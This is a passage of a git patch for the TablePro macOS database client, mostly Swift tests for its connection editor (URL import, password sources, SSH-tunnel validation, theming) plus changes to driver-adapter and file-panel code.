importing("\(base)?ssl=\(value)", into: fixture) + let canonical = try importing("\(base)?ssl=true", into: fixture) + #expect(spelled.draft.ssl.mode == canonical.draft.ssl.mode) + #expect(spelled.draft.ssl.mode == .required) + } + + @Test("A bracketed IPv6 host reaches the form bare, as a driver dials it") + func ipv6HostReachesTheFormBare() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgres://alice@[2001:db8::5]:6000/sales", into: fixture) + #expect(store.draft.host == "2001:db8::5") + #expect(store.draft.portText == "6000") + } + + @Test("A libSQL URL with an IPv6 host rebuilds a database URL that keeps its brackets") + func libSQLIPv6KeepsBrackets() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("libsql://[::1]:8443", into: fixture) + #expect(store.draft.fieldValues["databaseUrl"] == "https://[::1]:8443") + } + + @Test("Host, credentials and database from the URL reach the form") + func connectionFieldsReachTheForm() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgres://alice:p%40ss@db.example.com:6000/sales", into: fixture) + #expect(store.draft.type == .postgresql) + #expect(store.traits.type == .postgresql) + #expect(store.draft.host == "db.example.com") + #expect(store.draft.portText == "6000") + #expect(store.draft.database == "sales") + #expect(store.draft.credentials.username == "alice") + #expect(store.draft.credentials.password == "p@ss") + } + + @Test( + "A socket URL opens the form on Socket with its path", + arguments: [ + "mysql://root@localhost/local?socket=%2Ftmp%2Fmysql.sock", + "mariadb://root@/local?unix_socket=/tmp/mysql.sock" + ] + ) + func socketURLSelectsSocket(_ url: String) throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing(url, into: fixture) + #expect(store.draft.endpoint == .localSocket) + #expect(store.draft.localSocketPath == "/tmp/mysql.sock") + #expect(store.draft.transport == nil) + #expect(store.draft.fieldValues[MySQLLocalSocket.fieldKey] == nil) + + let edits = recordEdits(store) + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift b/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift deleted file mode 100644 index d169f46202..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift +++ /dev/null @@ -1,72 +0,0 @@ -// -// AdvancedPaneExtensionTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct AdvancedPaneExtensionTests { - private let vec = LoadableExtension(path: "/opt/homebrew/lib/vec0.dylib") - private let spatialite = LoadableExtension(path: "/opt/homebrew/lib/mod_spatialite.dylib") - - private func coordinator(editing connection: DatabaseConnection) throws -> ConnectionFormCoordinator { - try #require( - PluginManager.shared.additionalConnectionFields(for: .sqlite) - .contains { $0.content == .loadableExtensions } - ) - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = .sqlite - coordinator.advanced.load(from: connection) - return coordinator - } - - private func sqlite(with extensions: [LoadableExtension]) -> DatabaseConnection { - DatabaseConnection( - name: "Vectors", - type: .sqlite, - additionalFields: [LoadableExtensionList.fieldId: LoadableExtensionList.encode(extensions)] - ) - } - - @Test("The Extensions list is its own section, not a row among the driver options") - func extensionFieldIsNotADriverRow() throws { - let form = try coordinator(editing: sqlite(with: [])) - #expect(form.advanced.extensionListField?.id == LoadableExtensionList.fieldId) - #expect(!form.advanced.advancedFields.contains { $0.id == LoadableExtensionList.fieldId }) - } - - @Test("Saving an imported list untouched approves none of it") - func untouchedListApprovesNothing() throws { - let form = try coordinator(editing: sqlite(with: [vec])) - #expect(form.advanced.initialExtensions == [vec]) - #expect(form.advanced.editedExtensions.isEmpty) - } - - @Test("Only the files added in this form count as chosen on this Mac") - func addedFilesAreEdited() throws { - let form = try coordinator(editing: sqlite(with: [vec])) - form.advanced.additionalFieldValues[LoadableExtensionList.fieldId] = - LoadableExtensionList.encode([vec, spatialite]) - #expect(form.advanced.editedExtensions == [spatialite]) - } - - @Test("Changing a file's entry point makes it a new choice") - func changedEntryPointIsEdited() throws { - let form = try coordinator(editing: sqlite(with: [vec])) - let renamed = LoadableExtension(path: vec.path, entryPoint: "sqlite3_vec_init") - form.advanced.additionalFieldValues[LoadableExtensionList.fieldId] = LoadableExtensionList.encode([renamed]) - #expect(form.advanced.editedExtensions == [renamed]) - } - - @Test("An invalid list blocks saving with the reason") - func invalidListIsAValidationIssue() throws { - let form = try coordinator(editing: sqlite(with: [])) - form.advanced.additionalFieldValues[LoadableExtensionList.fieldId] = - LoadableExtensionList.encode([LoadableExtension(path: "vec0.dylib")]) - #expect(form.advanced.validationIssues.contains { $0.contains("vec0.dylib") }) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift b/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift deleted file mode 100644 index bf5abddb6b..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift +++ /dev/null @@ -1,93 +0,0 @@ -// -// AdvancedPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import TableProPluginKit -@testable import TablePro -import Testing - -@MainActor -struct AdvancedPaneViewModelTests { - @Test("Loads external access from the connection") - func loadsExternalAccessFromConnection() { - let connection = DatabaseConnection(name: "Test", externalAccess: .readWrite) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.externalAccess == .readWrite) - } - - @Test("Does not leak external access into plugin additional fields") - func doesNotWriteExternalAccessIntoAdditionalFields() { - let viewModel = AdvancedPaneViewModel() - viewModel.externalAccess = .readWrite - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields["externalAccess"] == nil) - } - - @Test("Lists the connection's always-allowed tools in name order with nothing forgotten") - func loadsAlwaysAllowedTools() { - let connection = DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"]) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.aiAlwaysAllowedTools == ["execute_query", "list_tables"]) - #expect(viewModel.revokedAIAlwaysAllowedTools.isEmpty) - } - - @Test("Forget takes a tool off the list and into the revoked set, and loading again drops it") - func forgetMovesAToolIntoTheRevokedSet() { - let connection = DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"]) - let viewModel = AdvancedPaneViewModel() - viewModel.load(from: connection) - - viewModel.forgetAlwaysAllowed("execute_query") - - #expect(viewModel.aiAlwaysAllowedTools == ["list_tables"]) - #expect(viewModel.revokedAIAlwaysAllowedTools == ["execute_query"]) - - viewModel.load(from: connection) - - #expect(viewModel.aiAlwaysAllowedTools == ["execute_query", "list_tables"]) - #expect(viewModel.revokedAIAlwaysAllowedTools.isEmpty) - } - - @Test("Shows a Redis database index saved as db4 as the number the stepper takes") - func loadsDbPrefixedRedisIndexAsANumber() throws { - try #require( - PluginManager.shared.additionalConnectionFields(for: .redis) - .contains { $0.id == "redisDatabase" && $0.section == .advanced } - ) - let connection = DatabaseConnection( - name: "cache", - type: .redis, - additionalFields: ["redisDatabase": "db4"] - ) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.additionalFieldValues["redisDatabase"] == "4") - } - - @Test("Shows the Redis database a synced connection names when no index was saved") - func loadsRedisIndexFromTheDatabaseName() throws { - try #require( - PluginManager.shared.additionalConnectionFields(for: .redis) - .contains { $0.id == "redisDatabase" && $0.section == .advanced } - ) - let connection = DatabaseConnection(name: "cache", database: "db7", type: .redis) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.additionalFieldValues["redisDatabase"] == "7") - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift b/apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift deleted file mode 100644 index b6ece9b16d..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift +++ /dev/null @@ -1,112 +0,0 @@ -import Foundation -@testable import TablePro -import Testing - -@MainActor -struct AuthPanePasswordSourceTests { - private let suite: EphemeralDefaults - - init() throws { - suite = try EphemeralDefaults() - } - - private func makeStorage() -> ConnectionStorage { - let fileURL = FileManager.default.temporaryDirectory - .appendingPathComponent("tablepro-tests") - .appendingPathComponent(UUID().uuidString) - .appendingPathComponent("connections.json") - try? FileManager.default.createDirectory( - at: fileURL.deletingLastPathComponent(), - withIntermediateDirectories: true - ) - return ConnectionStorage(fileURL: fileURL, userDefaults: suite.defaults, keychain: InMemoryKeychain()) - } - - private func loadedModel(source: PasswordSource?, configure: (inout DatabaseConnection) -> Void = { _ in }) -> AuthPaneViewModel { - var connection = TestFixtures.makeConnection() - connection.username = "app" - connection.passwordSource = source - configure(&connection) - let model = AuthPaneViewModel() - model.load(from: connection, storage: makeStorage()) - return model - } - - @Test("The form knows where a connection's password comes from") - func loadsThePasswordSource() { - let source = PasswordSource.command(shell: "op read op://vault/db/password") - let model = loadedModel(source: source) - - #expect(model.passwordSource == source) - #expect(model.passwordSourceInUse == source) - } - - @Test("A prompt or a linked profile overrides the connection's own source") - func promptAndProfileOverrideTheSource() { - let model = loadedModel(source: .env(variable: "DB_PASSWORD")) - - model.promptForPassword = true - #expect(model.passwordSourceInUse == nil) - - model.promptForPassword = false - model.credentialMode = .profile(id: UUID()) - #expect(model.passwordSourceInUse == nil) - } - - @Test("Saving a source-backed connection as a profile keeps the source") - func promotionKeepsATrustedSource() { - let source = PasswordSource.file(path: "~/.secrets/db") - let model = loadedModel(source: source) - - #expect(model.profileFromCurrentCredentials(sourceStoreIsTrusted: true).passwordMode == .source(source)) - } - - @Test("A source from a connections file something else changed becomes a prompt, never a profile source") - func promotionDropsAnUntrustedSource() { - let model = loadedModel(source: .command(shell: "echo owned")) - - #expect(model.profileFromCurrentCredentials(sourceStoreIsTrusted: false).passwordMode == .prompt) - } - - @Test("Saving a ~/.pgpass connection as a profile keeps ~/.pgpass") - func promotionKeepsPgpass() { - let model = loadedModel(source: nil) - model.additionalFieldValues["usePgpass"] = "true" - - #expect(model.profileFromCurrentCredentials(sourceStoreIsTrusted: true).passwordMode == .pgpass) - } - - @Test("Test Connection asks for the password when Prompt for password is on") - func testConnectionCarriesThePromptFlag() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.auth.promptForPassword = true - - let connection = coordinator.connectionForTest() - - #expect(connection.promptForPassword) - #expect(ConnectionCredentialResolver.promptsForPassword(connection)) - } - - @Test("Test Connection runs the connection's source, not a Keychain password left beside it") - func testConnectionUsesTheSource() { - let source = PasswordSource.env(variable: "DB_PASSWORD") - var connection = TestFixtures.makeConnection() - connection.passwordSource = source - let storage = makeStorage() - #expect(storage.savePassword("stale", for: connection.id)) - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.auth.load(from: connection, storage: storage) - - #expect(coordinator.auth.password == "stale") - #expect(coordinator.connectionForTest().passwordSource == source) - } - - @Test("A connection with only a source can still be saved as a profile") - func sourceAloneIsPromotable() { - let model = loadedModel(source: .env(variable: "REDIS_PASSWORD")) { connection in - connection.username = "" - } - - #expect(model.hasPromotableCredentials) - } -} diff --git a/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift b/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift index 0665b88c19..ab5635443b 100644 --- a/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift +++ b/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift @@ -164,40 +164,49 @@ struct SQLCodeFieldThemeTests { // MARK: - Connection form fields - private func startupEditor(_ style: TextValueEditor.Style) throws -> (NSWindow, NSTextView) { + // The fixture owns the store's storage, so it lives as long as the window. + private func connectionEditorField( + _ language: EditorCodeLanguage, + row: BuiltInRow + ) throws -> (ConnectionEditorStoreFixture, NSWindow, NSTextView) { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) let window = ThemeTestFixture.host( - StartupCommandsEditor(text: .constant("SET time_zone = 'UTC'"), style: style), - size: NSSize(width: 360, height: 80) + EditorCodeEditor(text: .constant("SET time_zone = 'UTC'"), language: language, row: .builtIn(row), store: store), + size: NSSize(width: 360, height: 140) ) - return (window, try #require(ThemeTestFixture.textViews(in: window).first)) + return (fixture, window, try #require(ThemeTestFixture.textViews(in: window).first)) } @Test("Startup Commands and Pre-Connect Script follow the editor theme") func startupCommandsFollowTheTheme() throws { try ThemeTestFixture.adopting(.builtIn, appearance: .light) { - let (window, textView) = try startupEditor(.code) - #expect(textView.backgroundColor === NSColor.textBackgroundColor) - #expect(textView.enclosingScrollView?.borderType == .bezelBorder) + let fields: [(EditorCodeLanguage, BuiltInRow)] = [(.sql, .startupCommands), (.shell, .preConnectScript)] + for (language, row) in fields { + let (fixture, window, textView) = try connectionEditorField(language, row: row) + #expect(textView.backgroundColor === NSColor.textBackgroundColor) + #expect(textView.enclosingScrollView?.borderType == .bezelBorder) - try ThemeTestFixture.withEverySlotOverridden { - #expect(ThemeTestFixture.hex(textView.backgroundColor) == "#FF00FF") - #expect(ThemeTestFixture.hex(textView.textColor) == "#FF00FF") - } + try ThemeTestFixture.withEverySlotOverridden { + #expect(ThemeTestFixture.hex(textView.backgroundColor) == "#FF00FF") + #expect(ThemeTestFixture.hex(textView.textColor) == "#FF00FF") + } - #expect(textView.backgroundColor == NSColor.textBackgroundColor) - withExtendedLifetime(window) {} + #expect(textView.backgroundColor == NSColor.textBackgroundColor) + withExtendedLifetime((fixture, window)) {} + } } } @Test("AI Rules is prose and keeps the system text colors under any theme") func aiRulesStaysPlain() throws { try ThemeTestFixture.adopting(.builtIn, appearance: .light) { - let (window, textView) = try startupEditor(.plain) + let (fixture, window, textView) = try connectionEditorField(.plain, row: .aiRules) try ThemeTestFixture.withEverySlotOverridden { #expect(textView.backgroundColor === NSColor.textBackgroundColor) #expect(textView.textColor === NSColor.textColor) } - withExtendedLifetime(window) {} + withExtendedLifetime((fixture, window)) {} } } diff --git a/apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift b/apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift new file mode 100644 index 0000000000..13bea5cf4c --- /dev/null +++ b/apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift @@ -0,0 +1,78 @@ +import XCTest + +final class ConnectionEditorIssueJumpUITests: UITestCase { + func testTheCommitBarJumpsToAnIssueOnAnotherFacetAndSaveListsTheConnection() throws { + let name = "Tunnel Flow" + let app = try launchApp() + let welcome = welcomeWindow(in: app) + XCTAssertTrue(welcome.waitToExist(timeout: 10)) + + app.typeShortcut(.newConnection) + let chooser = welcome.sheets.firstMatch + let search = chooser.searchFields["database-type-chooser-search"] + XCTAssertTrue(waitUntilHittable(search, timeout: 10), "New Connection must present the database chooser") + search.click() + search.typeText("PostgreSQL") + let proceed = chooser.buttons["Continue"] + XCTAssertTrue( + waitForPredicate(timeout: 10) { proceed.exists && proceed.isEnabled }, + "An exact type name must arm Continue" + ) + proceed.click() + + let editor = window("connection-form", in: app) + XCTAssertTrue(editor.waitToExist(timeout: 10), "Choosing PostgreSQL must open the connection editor") + replaceText(in: editor.textFields["connection-form-name"], with: name) + + showFacet("sshAndProxies", in: editor) + let transport = editor.popUpButtons["connection-form-transport"] + XCTAssertTrue(waitUntilHittable(transport, timeout: 10), "SSH & Proxies must offer the transport picker") + transport.click() + let sshTunnel = transport.menuItems["SSH Tunnel"] + XCTAssertTrue(sshTunnel.waitToExist(timeout: 5), "PostgreSQL must offer an SSH tunnel") + sshTunnel.click() + let sshHost = editor.textFields["connection-form-ssh-host"] + XCTAssertTrue(sshHost.waitToExist(timeout: 10), "SSH Tunnel must show the SSH server rows") + + showFacet("general", in: editor) + XCTAssertTrue(waitForPredicate(timeout: 10) { !sshHost.exists }, "General must replace the SSH rows") + + let save = editor.buttons["connection-form-save"] + let issue = editor.descendants(matching: .any)["connection-form-validation"] + XCTAssertTrue(waitUntilHittable(issue, timeout: 10), "The commit bar must show the issue that blocks Save") + XCTAssertFalse(save.isEnabled, "An SSH tunnel with no host must block Save") + issue.click() + + XCTAssertTrue(waitUntilHittable(sshHost, timeout: 10), "The issue must open the facet that holds it") + XCTAssertTrue( + waitForPredicate(timeout: 5) { self.holdsKeyboardFocus(sshHost) }, + "The issue must put the keyboard in the field to fix" + ) + sshHost.typeText("bastion.example.com") + + XCTAssertTrue(waitForPredicate(timeout: 10) { save.isEnabled }, "A host must clear the issue and arm Save") + XCTAssertFalse(issue.exists, "No issue is left to show") + save.click() + + XCTAssertTrue(waitForPredicate(timeout: 10) { !editor.exists }, "Save must close the editor") + let list = welcomeConnectionList(in: welcome) + XCTAssertTrue( + welcomeConnectionRow(named: name, in: list).waitToExist(timeout: 10), + "The saved connection must be listed in Welcome" + ) + } + + // The table publishes its own cell element, so the row's label carries the facet's identifier. + private func showFacet(_ facet: String, in editor: XCUIElement) { + let row = editor.staticTexts["connection-editor-sidebar-\(facet)"] + XCTAssertTrue(waitUntilHittable(row, timeout: 10), "The sidebar must list \(facet)") + row.click() + } + + private func replaceText(in field: XCUIElement, with text: String) { + XCTAssertTrue(waitUntilHittable(field, timeout: 10)) + field.click() + field.typeKey("a", modifierFlags: .command) + field.typeText(text) + } +} diff --git a/apple/TableProUITests/ConnectionFormDisclosureUITests.swift b/apple/TableProUITests/ConnectionFormDisclosureUITests.swift deleted file mode 100644 index f96b4a2785..0000000000 --- a/apple/TableProUITests/ConnectionFormDisclosureUITests.swift +++ /dev/null @@ -1,38 +0,0 @@ -import XCTest - -final class ConnectionFormDisclosureUITests: UITestCase { - /// The connection editor is one scrolling form, and its rarely-set options stay behind a - /// disclosure so a plain connection is not a wall of controls. - /// - /// The revealed controls render at the end of the scrolling form where the grouped `Form` - /// virtualizes them off the fold, so XCUITest cannot read them, and a SwiftUI button does not - /// surface `accessibilityValue` through `XCUIElement.value`. This asserts the two facts the - /// accessibility tree does expose: the options are collapsed by default and the disclosure that - /// gates them is present and usable. The reveal itself is covered by the revamp PR's screenshots. - func testAdvancedOptionsStartCollapsedBehindADisclosure() throws { - let app = try launchApp() - let welcome = welcomeWindow(in: app) - XCTAssertTrue(welcome.waitToExist(timeout: 10)) - - app.typeShortcut(.newConnection) - let chooser = welcome.sheets.firstMatch - let search = chooser.searchFields["database-type-chooser-search"] - XCTAssertTrue(waitUntilHittable(search, timeout: 10), "New Connection must present the database chooser") - search.click() - search.typeText("SQLite") - let proceed = chooser.buttons["Continue"] - XCTAssertTrue(waitForPredicate(timeout: 10) { proceed.exists && proceed.isEnabled }) - proceed.click() - - let form = window("connection-form", in: app) - XCTAssertTrue(form.waitToExist(timeout: 10), "Choosing SQLite must open the connection form") - let name = form.textFields["connection-form-name"] - XCTAssertTrue(waitUntilHittable(name, timeout: 10), "The form opens on a single scrolling layout with a Name field") - - let connectTimeout = form.textFields["connection-form-connect-timeout"] - XCTAssertFalse(connectTimeout.exists, "Advanced options are collapsed by default") - - let disclosure = form.descendants(matching: .any)["connection-form-advanced-disclosure"] - XCTAssertTrue(waitUntilHittable(disclosure, timeout: 10), "The form shows an Advanced Options disclosure") - } -} diff --git a/apple/TableProUITests/NewConnectionCommandUITests.swift b/apple/TableProUITests/NewConnectionCommandUITests.swift index 374578d150..d07a5dc126 100644 --- a/apple/TableProUITests/NewConnectionCommandUITests.swift +++ b/apple/TableProUITests/NewConnectionCommandUITests.swift @@ -61,7 +61,7 @@ final class NewConnectionCommandUITests: UITestCase { "New… only names the file; nothing is written before the connection opens" ) - let connect = form.buttons["Save & Connect"] + let connect = form.buttons["connection-form-save-connect"] XCTAssertTrue( waitForPredicate(timeout: 10) { connect.exists && connect.isEnabled }, "A named connection with a file path must be ready to connect" From 85512c826db3a7b4f520f5386c19e3c18be6bfe9 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 22:49:41 +0700 Subject: [PATCH 05/13] wip(connection-editor): visual fixes from the screenshot audit --- .../Core/Plugins/PluginDriverAdapter.swift | 10 +- .../Infrastructure/FileOpenPanel.swift | 10 +- .../Infrastructure/PanelEnableFilter.swift | 39 ++-- .../File/DatabaseFileClassifier.swift | 110 +++++++-- .../Views/Connection/ConnectionTileView.swift | 7 +- .../DatabaseTypeChooserModel.swift | 78 ++++--- .../DatabaseTypeChooserSheet.swift | 58 ++++- .../Engine/ConnectionDraft+URLImport.swift | 10 +- .../ConnectionEditorEngine+Issues.swift | 65 +++--- .../ConnectionEditorEngine+Layout.swift | 62 ++--- .../Engine/ConnectionEditorEngine.swift | 7 +- .../Facets/AIAndMCPFacetView.swift | 22 +- .../Facets/AdvancedFacetView.swift | 24 +- .../Facets/GeneralAuthenticationRows.swift | 9 +- .../Facets/GeneralConnectionRows.swift | 1 + .../Facets/GeneralFacetView.swift | 15 ++ .../Facets/Rows/EditorCodeEditor.swift | 35 ++- .../Facets/Rows/EditorPathRow.swift | 4 +- .../Facets/Rows/EditorTextRow.swift | 16 +- .../Facets/Rows/PluginFieldRow.swift | 2 +- .../Facets/SSHAndProxiesFacetView.swift | 51 +++-- .../Facets/SSHAndProxiesJumpHostRows.swift | 213 ++++++++++-------- .../Facets/SSHAndProxiesSSHRows.swift | 82 ++++--- .../Facets/SafeModeFacetView.swift | 70 +++--- .../Facets/TransportCommandRows.swift | 2 +- .../Facets/TransportProxyRows.swift | 26 ++- .../Shell/ConnectionEditorCloseGuard.swift | 41 +++- .../Shell/ConnectionEditorCommitBar.swift | 66 +++++- .../Shell/ConnectionEditorPresentations.swift | 1 + .../ConnectionEditorWindowController.swift | 17 +- .../ConnectionEditorStore+SSHAndProxies.swift | 19 ++ .../Store/ConnectionEditorStore+Test.swift | 60 ++++- .../Store/ConnectionEditorStore+URL.swift | 23 +- .../Support/DatabaseFilePanel.swift | 49 ++-- .../Shared/FieldEditors/TextValueEditor.swift | 7 + .../Database/ConnectionWarningTests.swift | 13 ++ .../Helpers/FakeMSSQLPlugin.swift | 26 ++- .../ConnectionTimeoutSettingsTests.swift | 13 +- .../DatabaseTypeChooserModelTests.swift | 28 ++- .../ConnectionTileGlyphColorTests.swift | 25 +- .../DatabaseFilePanelTests.swift | 50 +++- ...tionEditorEngineFieldVisibilityTests.swift | 42 ++++ .../Facets/SafeModeFacetLayoutTests.swift | 66 ++++++ .../Shell/ConnectionEditorWindowTests.swift | 40 ++++ ...nectionEditorStoreSSHAndProxiesTests.swift | 53 +++++ .../Store/ConnectionEditorStoreTests.swift | 59 +++++ 46 files changed, 1266 insertions(+), 460 deletions(-) create mode 100644 apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift diff --git a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift index a1f5be16f4..e6ceb39efb 100644 --- a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift +++ b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift @@ -28,9 +28,10 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor var connectAttempt: ConnectAttempt? var connectionMayBeOpen = false var disconnectInProgress = false - /// Read from the driver when its connect is adopted, so it outlives the `disconnect()` Test Connection - /// makes before anyone asks for it. + // Read from the driver when its connect is adopted, so both outlive the `disconnect()` Test Connection makes + // before anyone asks: a driver forgets its server's version when it disconnects. var connectionWarning: String? + var signInServerVersion: String? // Only a yes is kept, so the driver's own code is not asked again on every read. var buildsBrowseQueries = false } @@ -54,7 +55,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor pluginDriver.hasLostConnection || credentialLease?.hasEnded == true } - var serverVersion: String? { pluginDriver.serverVersion } + var serverVersion: String? { pluginDriver.serverVersion ?? state.withLock { $0.signInServerVersion } } var connectionWarning: String? { state.withLock { $0.connectionWarning } } var sessionLexicalState: PluginSessionLexicalState? { pluginDriver.sessionLexicalState } var parameterStyle: ParameterStyle { pluginDriver.parameterStyle } @@ -164,6 +165,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor let generation = state.nextConnectGeneration state.status = .connecting state.connectionWarning = nil + state.signInServerVersion = nil state.connectAttempt = ConnectAttempt(generation: generation, gate: gate, deadline: connectionDeadline.instant) return generation } @@ -355,6 +357,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor error: Error? ) { let warning = succeeded ? pluginDriver.connectionWarning : nil + let version = succeeded ? pluginDriver.serverVersion : nil let shouldDisconnect = state.withLock { state in guard let attempt = state.connectAttempt, attempt.generation == generation else { return false @@ -365,6 +368,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor state.connectionMayBeOpen = true state.status = .connected state.connectionWarning = warning + state.signInServerVersion = version return false } if let error, adopted { diff --git a/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift b/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift index b716fe1442..55c1cacbf5 100644 --- a/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift +++ b/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift @@ -5,7 +5,7 @@ import AppKit -/// The panel behind File > Open File…, offering everything TablePro can open rather than SQL alone. +// The panel behind File > Open File…, offering everything TablePro can open rather than SQL alone. @MainActor internal enum FileOpenPanel { internal static func present() async -> [URL]? { @@ -23,14 +23,12 @@ internal enum FileOpenPanel { return panel.urls } - /// A plain folder stays enabled so the panel can be navigated. A package is a file as far as - /// the user is concerned, and `.tableplugin` is one, so it is classified like any other. - /// - /// The name is asked first and settles most of a folder without touching its contents. + // A plain folder stays enabled so the panel can be navigated; a package such as `.tableplugin` is classified + // like a file. The name settles most of a folder, and the bytes are read only when they are already here. private static func isOpenable(_ url: URL) -> Bool { let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey]) if values?.isDirectory == true, values?.isPackage != true { return true } if case .some(.success) = URLClassifier.classifyByName(url) { return true } - return PanelEnableFilter.isQuickToRead(url) && DatabaseFileClassifier.classify(url) != nil + return DatabaseFileClassifier.classify(url, access: .withoutWaiting) != nil } } diff --git a/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift b/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift index 480b6ca5f9..df88500856 100644 --- a/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift +++ b/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift @@ -5,14 +5,15 @@ import AppKit -/// Decides which items an open panel lets someone choose, for a rule `allowedContentTypes` cannot -/// express because it matches names only: a SQLite database saved with no extension, or under -/// someone else's, is reachable only by reading its bytes. +// Decides which items an open panel lets someone choose, for a rule `allowedContentTypes` cannot express because +// it matches names only: a SQLite database saved with no extension, or under someone else's, is reachable only by +// reading its bytes. AppKit asks on the main thread while the panel browses, so a rule reads a file only through +// `DatabaseFileClassifier.Access.withoutWaiting`. @MainActor internal final class PanelEnableFilter: NSObject, NSOpenSavePanelDelegate { private let isEnabled: @MainActor (URL) -> Bool - /// The panel asks again on every scroll, and a rule may read the head of the file. + // The panel asks again on every scroll, and a rule may read the head of the file. private var decisions: [URL: Bool] = [:] internal init(isEnabled: @escaping @MainActor (URL) -> Bool) { @@ -26,26 +27,18 @@ internal final class PanelEnableFilter: NSObject, NSOpenSavePanelDelegate { return enabled } - /// The panel hands over a symlink or a Finder alias as itself, and neither reads as a folder or - /// has the target's bytes, so a rule that keeps folders enabled would dim a linked one and strand - /// everything behind it. The link's own name is still asked first, since it may be the only - /// thing that matches. An alias on a volume that is not mounted stays unresolved. - /// Whether reading the head of this file is quick enough to do while the panel waits. This runs on - /// the main actor, and a file on a network volume or an iCloud file not yet downloaded takes as - /// long as that volume does, so the whole app would wait with it. Such a file is matched by - /// name only; its path can still be typed. - nonisolated internal static func isQuickToRead(_ url: URL) -> Bool { - let keys: Set = [.volumeIsLocalKey, .ubiquitousItemDownloadingStatusKey] - guard let values = try? url.resourceValues(forKeys: keys), values.volumeIsLocal == true else { - return false - } - if let status = values.ubiquitousItemDownloadingStatus, status != .current { return false } - return true - } - + // A symlink or Finder alias arrives as itself, with neither the target's kind nor its bytes, so a folder behind + // one would be dimmed and everything in it stranded. The link's own name is asked first, since it may be the + // only thing that matches. An alias is a file of its own that resolving reads, so one that is not here yet is + // left unresolved, and so is one on a volume that is not mounted. private static func linkTarget(of url: URL) -> URL? { let values = try? url.resourceValues(forKeys: [.isSymbolicLinkKey, .isAliasFileKey]) - guard values?.isSymbolicLink == true || values?.isAliasFile == true else { return nil } - return try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + if values?.isSymbolicLink == true { + return try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + } + guard values?.isAliasFile == true, DatabaseFileClassifier.isReadableWithoutWaiting(url) else { return nil } + return DatabaseFileClassifier.withoutMaterializing { + try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + } } } diff --git a/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift b/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift index 4e7844b03c..5934004734 100644 --- a/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift +++ b/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift @@ -3,34 +3,48 @@ // TablePro // +import Darwin import Foundation import TableProUtilities -/// Names the database type that wrote a file, from the file's own bytes rather than its name. -/// -/// Reads only as far as the longest declared signature reaches. Anything that is not a regular -/// file, or is 